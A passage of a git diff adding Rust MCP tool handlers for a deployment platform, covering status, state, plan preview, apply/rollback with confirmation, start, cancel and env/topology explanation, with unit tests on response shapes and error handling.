"vault".to_string(), + })); + assert!(entries.contains(&AppEnvVarEntry { + name: "MYSECURE_TOKEN".to_string(), + value: "[REDACTED]".to_string(), + secure: false, + redacted: true, + source: "project".to_string(), + })); + } +} diff --git a/stacker/stacker/src/mcp/tools/deployment.rs b/stacker/stacker/src/mcp/tools/deployment.rs new file mode 100644 index 0000000..4a98c9f --- /dev/null +++ b/stacker/stacker/src/mcp/tools/deployment.rs @@ -0,0 +1,1086 @@ +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +use crate::cli::stacker_client::StackerClient; +use crate::connectors::user_service::UserServiceDeploymentResolver; +use crate::db; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Command, CommandPriority, Deployment}; +use crate::services::{ + build_deploy_plan, build_rollback_plan, resolve_rollback_plan_context, DeployPlan, + DeployPlanAction, DeployPlanOperation, DeployPlanRollback, DeployPlanScope, + DeploymentAgentState, DeploymentDriftState, DeploymentEvent, DeploymentEventFeed, + DeploymentIdentifier, DeploymentLastCommandState, DeploymentProjectState, DeploymentResolver, + DeploymentRuntimeState, DeploymentState, DeploymentStateDeployment, TypedErrorCode, + TypedErrorEnvelope, TypedRemediationClass, DEPLOY_PLAN_SCHEMA_VERSION, +}; + +/// Get deployment status +pub struct GetDeploymentStatusTool; +pub struct GetDeploymentStateTool; +pub struct GetDeploymentPlanTool; +pub struct GetDeploymentEventsTool; +pub struct ApplyDeploymentPlanTool; + +const COMMAND_RESULT_TIMEOUT_SECS: u64 = 15; +const COMMAND_POLL_INTERVAL_MS: u64 = 500; + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpDeploymentStatusResponse { + id: i32, + project_id: i32, + deployment_hash: String, + status: String, + runtime: String, + created_at: chrono::DateTime, + updated_at: chrono::DateTime, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpStartDeploymentResponse { + id: i32, + project_id: i32, + status: String, + deployment_hash: String, + created_at: chrono::DateTime, + message: String, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpCancelDeploymentResponse { + deployment_id: i32, + status: String, + message: String, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpDeploymentStateResponse { + schema_version: String, + project: DeploymentProjectState, + deployment: DeploymentStateDeployment, + agent: DeploymentAgentState, + runtime: DeploymentRuntimeState, + apps: Vec, + drift: DeploymentDriftState, + #[serde(skip_serializing_if = "Option::is_none")] + last_command: Option, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpDeploymentPlanResponse { + schema_version: String, + deployment_hash: String, + operation: DeployPlanOperation, + target: String, + fingerprint: String, + scope: DeployPlanScope, + has_changes: bool, + actions: Vec, + reasoning: Vec, + #[serde(skip_serializing_if = "Option::is_none")] + rollback: Option, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpDeploymentEventsResponse { + schema_version: String, + deployment_hash: String, + events: Vec, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpApplyDeploymentPlanResponse { + schema_version: String, + deployment_hash: String, + operation: DeployPlanOperation, + fingerprint: String, + applied: bool, + has_changes: bool, + status: String, + message: String, + #[serde(skip_serializing_if = "Option::is_none")] + command_id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + rollback: Option, +} + +#[derive(Deserialize)] +struct DeploymentLookupArgs { + #[serde(default)] + deployment_id: Option, + #[serde(default)] + deployment_hash: Option, +} + +#[derive(Deserialize)] +struct DeploymentPlanArgs { + #[serde(flatten)] + lookup: DeploymentLookupArgs, + #[serde(default)] + operation: Option, + #[serde(default)] + app_code: Option, + #[serde(default)] + target: Option, + #[serde(default)] + expected_fingerprint: Option, + #[serde(default)] + rollback_target: Option, +} + +#[derive(Deserialize)] +struct ApplyDeploymentPlanArgs { + #[serde(flatten)] + plan: DeploymentPlanArgs, + #[serde(default)] + confirm: bool, +} + +impl From for McpDeploymentStatusResponse { + fn from(value: Deployment) -> Self { + Self { + id: value.id, + project_id: value.project_id, + deployment_hash: value.deployment_hash, + status: value.status, + runtime: value.runtime, + created_at: value.created_at, + updated_at: value.updated_at, + } + } +} + +impl From for McpDeploymentStateResponse { + fn from(value: DeploymentState) -> Self { + Self { + schema_version: value.schema_version, + project: value.project, + deployment: value.deployment, + agent: value.agent, + runtime: value.runtime, + apps: value.apps, + drift: value.drift, + last_command: value.last_command, + } + } +} + +impl From for McpDeploymentPlanResponse { + fn from(value: DeployPlan) -> Self { + Self { + schema_version: value.schema_version, + deployment_hash: value.deployment_hash, + operation: value.operation, + target: value.target, + fingerprint: value.fingerprint, + scope: value.scope, + has_changes: value.has_changes, + actions: value.actions, + reasoning: value.reasoning, + rollback: value.rollback, + } + } +} + +impl From for McpDeploymentEventsResponse { + fn from(value: DeploymentEventFeed) -> Self { + Self { + schema_version: value.schema_version, + deployment_hash: value.deployment_hash, + events: value.events, + } + } +} + +fn json_tool_content(value: &T) -> Result { + Ok(ToolContent::Text { + text: serde_json::to_string(value).map_err(|e| format!("Serialization error: {}", e))?, + }) +} + +async fn wait_for_command_result( + pg_pool: &sqlx::PgPool, + command_id: &str, + timeout_secs: u64, +) -> Result, String> { + use tokio::time::{sleep, Duration, Instant}; + + let deadline = Instant::now() + Duration::from_secs(timeout_secs); + + while Instant::now() < deadline { + let fetched = db::command::fetch_by_command_id(pg_pool, command_id) + .await + .map_err(|e| format!("Failed to fetch command: {}", e))?; + + if let Some(cmd) = fetched { + let status = cmd.status.to_lowercase(); + if status == "completed" + || status == "failed" + || cmd.result.is_some() + || cmd.error.is_some() + { + return Ok(Some(cmd)); + } + } + + sleep(Duration::from_millis(COMMAND_POLL_INTERVAL_MS)).await; + } + + Ok(None) +} + +async fn enqueue_and_wait( + context: &ToolContext, + deployment_hash: &str, + command_type: &str, + parameters: Value, + timeout_secs: u64, +) -> Result { + let command_id = uuid::Uuid::new_v4().to_string(); + let command = Command::new( + command_id.clone(), + deployment_hash.to_string(), + command_type.to_string(), + context.user.id.clone(), + ) + .with_parameters(parameters.clone()); + + let command = db::command::insert(&context.pg_pool, &command) + .await + .map_err(|e| format!("Failed to create command: {}", e))?; + + db::command::add_to_queue( + &context.pg_pool, + &command.command_id, + deployment_hash, + &CommandPriority::Normal, + ) + .await + .map_err(|e| format!("Failed to queue command: {}", e))?; + + if let Some(cmd) = + wait_for_command_result(&context.pg_pool, &command.command_id, timeout_secs).await? + { + let status = cmd.status.to_lowercase(); + Ok(json!({ + "status": status, + "command_id": cmd.command_id, + "deployment_hash": deployment_hash, + "command_type": command_type, + "result": cmd.result, + "error": cmd.error, + })) + } else { + Ok(json!({ + "status": "queued", + "command_id": command.command_id, + "deployment_hash": deployment_hash, + "command_type": command_type, + "message": "Command queued. Agent will process shortly.", + })) + } +} + +fn create_resolver(context: &ToolContext) -> UserServiceDeploymentResolver { + UserServiceDeploymentResolver::from_context( + &context.settings.user_service_url, + context.user.access_token.as_deref(), + ) +} + +fn stacker_base_url(context: &ToolContext) -> String { + let host = match context.settings.app_host.trim() { + "" | "0.0.0.0" => "127.0.0.1", + host => host, + }; + + format!("http://{}:{}", host, context.settings.app_port) +} + +fn stacker_client(context: &ToolContext) -> Result { + let token = context.user.access_token.as_deref().ok_or_else(|| { + TypedErrorEnvelope::permission_denied( + "Authenticated MCP mutation requires a user access token", + ) + .to_pretty_json() + })?; + + Ok(StackerClient::new(&stacker_base_url(context), token)) +} + +fn apply_confirmation_required_error() -> String { + TypedErrorEnvelope::invalid_request("apply_deployment_plan requires confirm=true") + .with_context("tool", "apply_deployment_plan") + .to_pretty_json() +} + +fn unsupported_apply_operation_error(operation: &DeployPlanOperation) -> String { + let operation_name = serde_json::to_string(operation) + .unwrap_or_else(|_| "\"unknown\"".to_string()) + .trim_matches('"') + .to_string(); + + TypedErrorEnvelope::new( + TypedErrorCode::InvalidRequest, + "apply_deployment_plan currently supports deploy_app and rollback_deploy; full deploy apply still requires local CLI context", + false, + TypedRemediationClass::Configuration, + ) + .with_context("operation", operation_name) + .to_pretty_json() +} + +async fn resolve_owned_deployment( + context: &ToolContext, + args: DeploymentLookupArgs, +) -> Result<(String, Deployment), String> { + let identifier = + DeploymentIdentifier::try_from_options(args.deployment_hash, args.deployment_id)?; + let deployment_hash = create_resolver(context).resolve(&identifier).await?; + let deployment = db::deployment::fetch_by_deployment_hash(&context.pg_pool, &deployment_hash) + .await + .map_err(|e| { + tracing::error!("Failed to fetch deployment: {}", e); + format!("Database error: {}", e) + })? + .ok_or_else(|| "Deployment not found".to_string())?; + + if deployment.user_id.as_deref() != Some(&context.user.id) { + return Err("Deployment not found".to_string()); + } + + Ok((deployment_hash, deployment)) +} + +async fn build_validated_plan( + context: &ToolContext, + args: DeploymentPlanArgs, +) -> Result<(Deployment, DeployPlan), String> { + let operation = args.operation.unwrap_or(DeployPlanOperation::Deploy); + let target = args.target.as_deref().unwrap_or("cloud"); + let (deployment_hash, deployment) = resolve_owned_deployment(context, args.lookup).await?; + let state = DeploymentState::for_deployment_hash(&context.pg_pool, &deployment_hash) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + let plan = match operation { + DeployPlanOperation::RollbackDeploy => { + let requested_target = args + .rollback_target + .as_deref() + .ok_or_else(|| "rollback_target is required for rollback plans".to_string())?; + let rollback = + resolve_rollback_plan_context(&context.pg_pool, &deployment, requested_target) + .await + .map_err(|error| error.to_pretty_json())?; + build_rollback_plan( + &state, + target, + rollback, + args.expected_fingerprint.as_deref(), + ) + } + _ => build_deploy_plan( + &state, + operation, + target, + args.app_code.as_deref(), + args.expected_fingerprint.as_deref(), + ), + } + .map_err(|error| error.to_pretty_json())?; + + Ok((deployment, plan)) +} + +#[async_trait] +impl ToolHandler for GetDeploymentStatusTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: DeploymentLookupArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let (deployment_hash, deployment) = resolve_owned_deployment(context, args).await?; + + let response = McpDeploymentStatusResponse::from(deployment); + + tracing::info!("Got deployment status for hash: {}", deployment_hash); + + json_tool_content(&response) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_status".to_string(), + description: + "Get the current status of a deployment (pending, running, completed, failed). Provide either deployment_hash or deployment_id." + .to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred, e.g., 'deployment_abc123')" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID from User Service)" + } + }, + "required": [] + }), + } + } +} + +#[async_trait] +impl ToolHandler for GetDeploymentStateTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: DeploymentLookupArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let (deployment_hash, _) = resolve_owned_deployment(context, args).await?; + let state = DeploymentState::for_deployment_hash(&context.pg_pool, &deployment_hash) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + json_tool_content(&McpDeploymentStateResponse::from(state)) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_state".to_string(), + description: "Get the canonical machine-readable deployment state. Provide either deployment_hash or deployment_id.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred, e.g., 'deployment_abc123')" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID from User Service)" + } + }, + "required": [] + }), + } + } +} + +#[async_trait] +impl ToolHandler for GetDeploymentPlanTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: DeploymentPlanArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let (_, plan) = build_validated_plan(context, args).await?; + + json_tool_content(&McpDeploymentPlanResponse::from(plan)) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_plan".to_string(), + description: "Preview a deployment or rollback plan with stable fingerprinting before any mutation.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred, e.g., 'deployment_abc123')" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID from User Service)" + }, + "operation": { + "type": "string", + "enum": ["deploy", "deploy_app", "rollback_deploy"], + "description": "Plan mode. Defaults to 'deploy'." + }, + "app_code": { + "type": "string", + "description": "Required for deploy_app plans; ignored for deployment-wide plans." + }, + "target": { + "type": "string", + "description": "Deployment target. Defaults to 'cloud'." + }, + "expected_fingerprint": { + "type": "string", + "description": "Optional stale-plan guard. The plan fails if this fingerprint no longer matches." + }, + "rollback_target": { + "type": "string", + "description": "Required for rollback_deploy plans. Use 'previous' or a specific marketplace version." + } + }, + "required": [] + }), + } + } +} + +#[async_trait] +impl ToolHandler for ApplyDeploymentPlanTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: ApplyDeploymentPlanArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + if !args.confirm { + return Err(apply_confirmation_required_error()); + } + + let (deployment, plan) = build_validated_plan(context, args.plan).await?; + + if !plan.has_changes { + return json_tool_content(&McpApplyDeploymentPlanResponse { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: plan.deployment_hash, + operation: plan.operation, + fingerprint: plan.fingerprint, + applied: false, + has_changes: false, + status: "noop".to_string(), + message: "Plan already satisfied. Nothing to apply.".to_string(), + command_id: None, + rollback: plan.rollback, + }); + } + + match plan.operation { + DeployPlanOperation::DeployApp => { + let app_code = plan.scope.app_code.clone().ok_or_else(|| { + TypedErrorEnvelope::invalid_request( + "apply_deployment_plan requires an appCode/app_code for deploy_app operations", + ) + .to_pretty_json() + })?; + let result = enqueue_and_wait( + context, + &plan.deployment_hash, + "deploy_app", + json!({ + "app_code": app_code, + "image": serde_json::Value::Null, + "pull": true, + "force_recreate": false, + "force_config_overwrite": false, + }), + COMMAND_RESULT_TIMEOUT_SECS, + ) + .await?; + + let status = result + .get("status") + .and_then(|value| value.as_str()) + .unwrap_or("queued") + .to_string(); + let message = result + .get("message") + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned) + .unwrap_or_else(|| { + format!("deploy_app apply accepted for {}", plan.deployment_hash) + }); + let command_id = result + .get("command_id") + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned); + + json_tool_content(&McpApplyDeploymentPlanResponse { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: plan.deployment_hash, + operation: plan.operation, + fingerprint: plan.fingerprint, + applied: true, + has_changes: true, + status, + message, + command_id, + rollback: None, + }) + } + DeployPlanOperation::RollbackDeploy => { + let rollback = plan.rollback.clone().ok_or_else(|| { + TypedErrorEnvelope::internal_error( + "Rollback plan did not include a resolved target version", + ) + .to_pretty_json() + })?; + let client = stacker_client(context)?; + let response = client + .rollback_project(deployment.project_id, &rollback.resolved_version) + .await + .map_err(|error| match error { + crate::cli::error::CliError::Typed(envelope) => envelope.to_pretty_json(), + other => { + TypedErrorEnvelope::internal_error(other.to_string()).to_pretty_json() + } + })?; + + json_tool_content(&McpApplyDeploymentPlanResponse { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: plan.deployment_hash, + operation: plan.operation, + fingerprint: plan.fingerprint, + applied: true, + has_changes: true, + status: response.status.unwrap_or_else(|| "accepted".to_string()), + message: response.msg.unwrap_or_else(|| { + format!("Rollback accepted for {}", rollback.resolved_version) + }), + command_id: None, + rollback: Some(rollback), + }) + } + DeployPlanOperation::Deploy => Err(unsupported_apply_operation_error(&plan.operation)), + } + } + + fn schema(&self) -> Tool { + Tool { + name: "apply_deployment_plan".to_string(), + description: "Apply a previously previewed deployment plan after revalidating its fingerprint. Supports deploy_app and rollback_deploy operations.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred, e.g., 'deployment_abc123')" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID from User Service)" + }, + "operation": { + "type": "string", + "enum": ["deploy", "deploy_app", "rollback_deploy"], + "description": "Mutation mode. deploy currently returns an unsupported typed error because it still requires local CLI context." + }, + "app_code": { + "type": "string", + "description": "Required for deploy_app applies." + }, + "target": { + "type": "string", + "description": "Deployment target. Defaults to 'cloud'." + }, + "expected_fingerprint": { + "type": "string", + "description": "Required fingerprint from get_deployment_plan to prevent stale applies." + }, + "rollback_target": { + "type": "string", + "description": "Required for rollback_deploy applies. Use 'previous' or a specific marketplace version." + }, + "confirm": { + "type": "boolean", + "description": "Must be true to acknowledge the mutation." + } + }, + "required": ["expected_fingerprint", "confirm"] + }), + } + } +} + +#[async_trait] +impl ToolHandler for GetDeploymentEventsTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + let args: DeploymentLookupArgs = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + let (deployment_hash, _) = resolve_owned_deployment(context, args).await?; + let feed = DeploymentEventFeed::for_deployment_hash(&context.pg_pool, &deployment_hash) + .await + .map_err(|e| format!("Database error: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + json_tool_content(&McpDeploymentEventsResponse::from(feed)) + } + + fn schema(&self) -> Tool { + Tool { + name: "get_deployment_events".to_string(), + description: "Get the structured deployment event feed for progress, failure, and remediation signals.".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_hash": { + "type": "string", + "description": "Deployment hash (preferred, e.g., 'deployment_abc123')" + }, + "deployment_id": { + "type": "number", + "description": "Deployment ID (legacy numeric ID from User Service)" + } + }, + "required": [] + }), + } + } +} + +/// Start a new deployment +pub struct StartDeploymentTool; + +#[async_trait] +impl ToolHandler for StartDeploymentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + project_id: i32, + cloud_id: Option, + environment: Option, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + // Verify user owns the project + let project = db::project::fetch(&context.pg_pool, args.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this project".to_string()); + } + + // Create deployment record with hash + let deployment_hash = uuid::Uuid::new_v4().to_string(); + let deployment = crate::models::Deployment::new( + args.project_id, + Some(context.user.id.clone()), + deployment_hash.clone(), + "pending".to_string(), + "runc".to_string(), + json!({ "environment": args.environment.unwrap_or_else(|| "production".to_string()), "cloud_id": args.cloud_id }), + ); + + let deployment = db::deployment::insert(&context.pg_pool, deployment) + .await + .map_err(|e| format!("Failed to create deployment: {}", e))?; + + let response = McpStartDeploymentResponse { + id: deployment.id, + project_id: deployment.project_id, + status: deployment.status, + deployment_hash: deployment.deployment_hash, + created_at: deployment.created_at, + message: "Deployment initiated - agent will connect shortly".to_string(), + }; + + tracing::info!( + "Started deployment {} for project {}", + deployment.id, + args.project_id + ); + + json_tool_content(&response) + } + + fn schema(&self) -> Tool { + Tool { + name: "start_deployment".to_string(), + description: "Initiate deployment of a project to cloud infrastructure".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "project_id": { + "type": "number", + "description": "Project ID to deploy" + }, + "cloud_id": { + "type": "number", + "description": "Cloud provider ID (optional)" + }, + "environment": { + "type": "string", + "description": "Deployment environment (optional, default: production)", + "enum": ["development", "staging", "production"] + } + }, + "required": ["project_id"] + }), + } + } +} + +/// Cancel a deployment +pub struct CancelDeploymentTool; + +#[async_trait] +impl ToolHandler for CancelDeploymentTool { + async fn execute(&self, args: Value, context: &ToolContext) -> Result { + #[derive(Deserialize)] + struct Args { + deployment_id: i32, + } + + let args: Args = + serde_json::from_value(args).map_err(|e| format!("Invalid arguments: {}", e))?; + + let _deployment = db::deployment::fetch(&context.pg_pool, args.deployment_id) + .await + .map_err(|e| format!("Deployment not found: {}", e))? + .ok_or_else(|| "Deployment not found".to_string())?; + + // Verify user owns the project (via deployment) + let project = db::project::fetch(&context.pg_pool, _deployment.project_id) + .await + .map_err(|e| format!("Project not found: {}", e))? + .ok_or_else(|| "Project not found".to_string())?; + + if project.user_id != context.user.id { + return Err("Unauthorized: You do not own this deployment".to_string()); + } + + // Mark deployment as cancelled (would update status in real implementation) + let response = McpCancelDeploymentResponse { + deployment_id: args.deployment_id, + status: "cancelled".to_string(), + message: "Deployment cancellation initiated".to_string(), + }; + + tracing::info!("Cancelled deployment {}", args.deployment_id); + + json_tool_content(&response) + } + + fn schema(&self) -> Tool { + Tool { + name: "cancel_deployment".to_string(), + description: "Cancel an in-progress or pending deployment".to_string(), + input_schema: json!({ + "type": "object", + "properties": { + "deployment_id": { + "type": "number", + "description": "Deployment ID to cancel" + } + }, + "required": ["deployment_id"] + }), + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::mcp::registry::ToolRegistry; + use crate::{configuration::Settings, mcp::registry::ToolContext, models::User}; + use actix_web::web; + use chrono::Utc; + use serde_json::json; + use std::sync::Arc; + + #[test] + fn deployment_status_response_omits_internal_fields() { + let deployment = Deployment { + id: 31, + project_id: 17, + deployment_hash: "deployment_state_online".to_string(), + user_id: Some("user-1".to_string()), + deleted: Some(false), + status: "healthy".to_string(), + runtime: "runc".to_string(), + metadata: json!({"status_message": "hidden"}), + last_seen_at: Some(Utc::now()), + created_at: Utc::now(), + updated_at: Utc::now(), + }; + + let response = McpDeploymentStatusResponse::from(deployment); + let serialized = serde_json::to_value(&response).expect("serialize MCP status response"); + + assert_eq!(serialized["deploymentHash"], "deployment_state_online"); + assert_eq!(serialized["status"], "healthy"); + assert!(serialized.get("metadata").is_none()); + assert!(serialized.get("userId").is_none()); + assert!(serialized.get("deleted").is_none()); + assert!(serialized.get("lastSeenAt").is_none()); + } + + #[test] + fn start_deployment_response_uses_allow_list_shape() { + let response = McpStartDeploymentResponse { + id: 31, + project_id: 17, + status: "pending".to_string(), + deployment_hash: "deployment_state_online".to_string(), + created_at: Utc::now(), + message: "Deployment initiated - agent will connect shortly".to_string(), + }; + + let serialized = serde_json::to_value(&response).expect("serialize start response"); + assert!(serialized.get("projectId").is_some()); + assert!(serialized.get("message").is_some()); + assert!(serialized.get("metadata").is_none()); + } + + #[test] + fn deployment_state_response_uses_stable_contract_shape() { + let state = DeploymentState { + schema_version: "v1alpha1".to_string(), + project: crate::services::DeploymentProjectState { + id: 17, + identity: "demo".to_string(), + name: "Demo".to_string(), + }, + deployment: crate::services::DeploymentStateDeployment { + id: 31, + deployment_hash: "deployment_state_online".to_string(), + status: "healthy".to_string(), + runtime: "runc".to_string(), + }, + agent: DeploymentAgentState { + id: Some("agent-1".to_string()), + status: "online".to_string(), + version: Some("1.0.0".to_string()), + last_heartbeat: None, + capabilities: vec!["compose".to_string()], + features: crate::services::DeploymentAgentFeatures { + compose: true, + kata_runtime: false, + backup: false, + pipes: false, + proxy_credentials_vault: false, + }, + }, + runtime: DeploymentRuntimeState { + compose_path: "/opt/stacker/docker-compose.remote.yml".to_string(), + env_path: "/home/trydirect/project/.env".to_string(), + }, + apps: vec![], + drift: DeploymentDriftState { + has_drift: false, + summary: "no drift detected".to_string(), + }, + last_command: None, + }; + + let serialized = serde_json::to_value(McpDeploymentStateResponse::from(state)) + .expect("serialize deployment state"); + assert_eq!(serialized["schemaVersion"], "v1alpha1"); + assert!(serialized.get("project").is_some()); + assert!(serialized.get("deployment").is_some()); + assert!(serialized.get("metadata").is_none()); + } + + #[test] + fn deployment_ai_tools_are_registered() { + let registry = ToolRegistry::new(); + assert!(registry.has_tool("get_deployment_state")); + assert!(registry.has_tool("get_deployment_plan")); + assert!(registry.has_tool("get_deployment_events")); + assert!(registry.has_tool("apply_deployment_plan")); + } + + #[test] + fn apply_deployment_plan_response_has_allow_list_shape() { + let response = McpApplyDeploymentPlanResponse { + schema_version: DEPLOY_PLAN_SCHEMA_VERSION.to_string(), + deployment_hash: "deployment_state_online".to_string(), + operation: DeployPlanOperation::DeployApp, + fingerprint: "fingerprint-123".to_string(), + applied: true, + has_changes: true, + status: "queued".to_string(), + message: "Command queued. Agent will process shortly.".to_string(), + command_id: Some("cmd-1".to_string()), + rollback: None, + }; + + let serialized = serde_json::to_value(&response).expect("serialize apply response"); + assert_eq!(serialized["schemaVersion"], DEPLOY_PLAN_SCHEMA_VERSION); + assert_eq!(serialized["operation"], "deploy_app"); + assert!(serialized.get("commandId").is_some()); + assert!(serialized.get("result").is_none()); + assert!(serialized.get("meta").is_none()); + } + + #[test] + fn apply_deployment_plan_requires_confirmation_with_typed_error() { + let envelope = + serde_json::from_str::(&apply_confirmation_required_error()) + .expect("deserialize typed confirmation error"); + + assert_eq!(envelope.code, TypedErrorCode::InvalidRequest); + assert_eq!( + envelope.message, + "apply_deployment_plan requires confirm=true" + ); + assert_eq!( + envelope.context.get("tool").map(|value| value.as_str()), + Some("apply_deployment_plan") + ); + } + + #[test] + fn apply_deployment_plan_rejects_full_deploy_with_typed_error() { + let envelope = serde_json::from_str::( + &unsupported_apply_operation_error(&DeployPlanOperation::Deploy), + ) + .expect("deserialize typed unsupported operation error"); + + assert_eq!(envelope.code, TypedErrorCode::InvalidRequest); + assert!(envelope + .message + .contains("currently supports deploy_app and rollback_deploy")); + assert_eq!( + envelope + .context + .get("operation") + .map(|value| value.as_str()), + Some("deploy") + ); + } + + #[tokio::test] + async fn apply_deployment_plan_confirmation_error_does_not_reflect_secret_inputs() { + let tool = ApplyDeploymentPlanTool; + let pg_pool = sqlx::postgres::PgPoolOptions::new() + .connect_lazy("postgres://postgres:postgres@localhost/stacker_test") + .expect("lazy pool"); + let context = ToolContext { + user: Arc::new(User { + id: "user-1".to_string(), + first_name: "Test".to_string(), + last_name: "User".to_string(), + email: "test@example.com".to_string(), + role: "group_user".to_string(), + email_confirmed: true, + mfa_verified: true, + access_token: None, + }), + pg_pool, + settings: web::Data::new(Settings::default()), + }; + let args = json!({ + "deployment_hash": "deployment_state_online", + "operation": "deploy_app", + "app_code": "SUPER_SECRET_SHOULD_NOT_LEAK", + "expected_fingerprint": "fingerprint-SUPER_SECRET_SHOULD_NOT_LEAK", + "confirm": false + }); + + let error = tool + .execute(args, &context) + .await + .expect_err("confirm=false should reject apply"); + + assert!(error.contains("confirm=true")); + assert!(!error.contains("SUPER_SECRET_SHOULD_NOT_LEAK")); + } +} diff --git a/stacker/stacker/src/mcp/tools/explain.rs b/stacker/stacker/src/mcp/tools/explain.rs new file mode 100644 index 0000000..2880d6e --- /dev/null +++ b/stacker/stacker/src/mcp/tools/explain.rs @@ -0,0 +1,469 @@ +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value}; + +use crate::db; +use crate::helpers::{remote_runtime_compose_path, remote_runtime_env_path}; +use crate::mcp::protocol::{Tool, ToolContent}; +use crate::mcp::registry::{ToolContext, ToolHandler}; +use crate::models::{Project, ProjectApp}; +use crate::services::config_renderer::EnvRenderInput; +use crate::services::{ + build_explain_env, build_explain_topology, ExplainEnv, ExplainEnvLayer, ExplainRenderedEnv, + ExplainTopology, ExplainTopologyService, +}; + +pub struct ExplainEnvTool; +pub struct ExplainTopologyTool; + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainEnvResponse { + schema_version: String, + deployment_hash: String, + app_code: String, + local_authoring_env_path: String, + runtime_env_path: String, + runtime_compose_path: String, + layers: Vec, + destination: McpExplainDestinationResponse, + rendered_env: McpExplainRenderedEnvResponse, + reasoning: Vec, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainEnvLayerResponse { + name: String, + key_names: Vec, + key_count: usize, + hash: String, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainDestinationResponse { + path: String, + write_policy: String, + drift_protection: bool, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainRenderedEnvResponse { + hash: String, + inputs: Vec, + server_secrets_inherited: bool, + service_secrets_override_server_secrets: bool, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainTopologyResponse { + schema_version: String, + deployment_hash: String, + target: String, + local_compose_path: String, + runtime_compose_path: String, + local_authoring_env_path: String, + runtime_env_path: String, + services: Vec, + reasoning: Vec, +} + +#[derive(Serialize)] +#[serde(rename_all = "camelCase")] +struct McpExplainTopologyServiceResponse { + code: String, + name: String, + enabled: bool, +} + +#[derive(Deserialize)] +struct ExplainArgs { + deployment_hash: String, + #[serde(default)] + app_code: Option, +} + +fn local_authoring_env_path(project: &Project) -> String { + project + .request_json + .get("env_file") + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned) + .unwrap_or_else(|| ".env".to_string()) +} + +fn runtime_compose_path(project: &Project) -> String { + project + .request_json + .pointer("/custom/deployment_artifacts/config_bundle/remote_compose_path") + .and_then(|value| value.as_str()) + .map(ToOwned::to_owned) + .unwrap_or_else(|| remote_runtime_compose_path().to_string()) +} + +fn project_target(project: &Project) -> String { + project + .request_json + .pointer("/deploy/target") + .and_then(|value| value.as_str()) + .unwrap_or("cloud") + .to_string() +} + +fn app_env_input(app: &ProjectApp) -> EnvRenderInput { + let mut input = EnvRenderInput::default(); + if let Some(env) = app.environment.as_ref().and_then(|value| value.as_object()) { + input.service = env + .iter() + .filter_map(|(key, value)| value.as_str().map(|value| (key.clone(), value.to_string()))) + .collect(); + } + input +} + +fn topology_services(apps: &[ProjectApp]) -> Vec { + apps.iter() + .map(|app| ExplainTopologyService { + code: app.code.clone(), + name: app.name.clone(), + enabled: 